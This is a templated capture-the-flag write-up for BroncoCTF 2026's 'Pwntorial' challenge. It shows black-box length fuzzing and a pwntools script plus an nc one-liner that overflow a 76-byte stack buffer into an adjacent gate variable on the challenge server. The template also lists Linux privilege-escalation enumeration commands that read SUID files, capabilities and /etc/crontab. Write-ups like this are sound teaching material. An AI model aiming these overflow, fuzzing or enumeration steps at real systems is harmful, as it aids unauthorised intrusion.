Pwntorial
Pwntorial
Platform: Broncoctf2026 | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: adjacent_stack_variable_overwrite, black_box_overflow, length_fuzzing
Summary
Task: remote-only pwn with no binary/source; a fixed-size stack buffer sits next to a zero-initialized 'gate' variable guarding the flag. Solution: black-box length fuzzing found the buffer is 76 bytes, so sending 77 'A's overflows into the adjacent gate variable, opening it and printing the flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
broncoctf2026| ID:20260711_broncoctf2026_pwntorial - Tags: buffer_overflow, stack_overflow, adjacent_variable_overwrite, remote, black_box_fuzzing, gate_variable
- Indicators: remote-only pwn, no binary/source, service replies 'the gate is still closed' to arbitrary input, success threshold appears at a fixed input length
- Source:
20260711_broncoctf2026_pwntorial.md
Foothold
Vulnerability / Misconfiguration
- Adjacent_stack_variable_overwrite
- Black_box_overflow
- Length_fuzzing
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- adjacent_stack_variable_overwrite
- black_box_overflow
- length_fuzzing
- Tags: buffer_overflow, stack_overflow, adjacent_variable_overwrite, remote, black_box_fuzzing, gate_variable
Original Writeup
<details><summary>Click to expand original content</summary>Description
"I've gotten complaints that BroncoCTF has no PWN. But, I think the more important issue is that our students don't know HOW to PWN! Behold: the PWNTORIAL. This'll solve all your pwn knowledge holes! Google Docs: The Pwntorial ...yeah it's just an AI Slop Google Doc but surely that's enough to educate college students nowadays, right?"
Remote service: nc 0.cloud.chals.io 19476 (also referenced as snicat broncoctf-pwntorial.chals.io).
English summary: A remote-only "tutorial" pwn challenge. No binary and no source were provided, and the linked Google Doc is flavor text. The service reads input into a fixed-size stack buffer that is immediately followed by a zero-initialized "gate" variable guarding the flag. The goal is to overflow the buffer just enough to make the gate variable nonzero.
Analysis
Recon was entirely black-box:
- Plain
ncconnects but prints no banner and waits for input. - Sending arbitrary data (e.g.
hello\n) returns:
[-] Try again. The gate is still closed.
The word "gate" plus the closed/open framing strongly implies a classic adjacent stack-variable overwrite: a fixed buffer followed by a gate (a.k.a. flag guard) variable initialized to zero. An if (gate) check prints the flag once the variable becomes nonzero.
3. Fuzzing input length with b'A'*n + b'\n' and checking for the success string revealed a clean threshold:
| Input length (n) | Response |
|---|---|
| 73–76 | [-] Try again. The gate is still closed. |
| 77–~256 | [+] SUCCESS! Welcome inside, aspiring pwner! + flag |
| 512 / 1024 | still SUCCESS, but flag sometimes missed in the same read due to timing |
- Conclusion: the buffer is 76 bytes. The 77th byte spills into the adjacent gate variable, making its first byte nonzero and passing the
if (gate)check.
This is the most basic stack buffer overflow — overwriting an adjacent stack variable, not a return address. No canary/PIE/leak/ROP is needed, which fits the "tutorial / first of many PWNs" theme. The exact buffer size (76) was recovered purely by black-box length fuzzing since no binary was available for checksec or disassembly.
Solution
Send exactly 77 bytes to overflow the 76-byte buffer by one byte into the gate variable.
pwntools:
#!/usr/bin/env python3
from pwn import *
io = remote('0.cloud.chals.io', 19476)
io.sendline(b'A' * 77) # 76-byte buffer + 1 byte overflow into the gate var
print(io.recvall(timeout=3).decode())
# -> [+] SUCCESS! Welcome inside, aspiring pwner!
# bronco{REDACTED}
One-liner:
python3 -c "import sys; sys.stdout.buffer.write(b'A'*77+b'\n')" | nc 0.cloud.chals.io 19476
Optional length-fuzzing harness used to recover the buffer size:
#!/usr/bin/env python3
from pwn import *
for n in range(70, 90):
io = remote('0.cloud.chals.io', 19476)
io.sendline(b'A' * n)
resp = io.recvall(timeout=2)
io.close()
status = 'SUCCESS' if b'SUCCESS' in resp else 'closed'
log.info(f'n={n:3d} -> {status}')
# threshold: n<=76 closed, n>=77 SUCCESS => buffer = 76 bytes
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR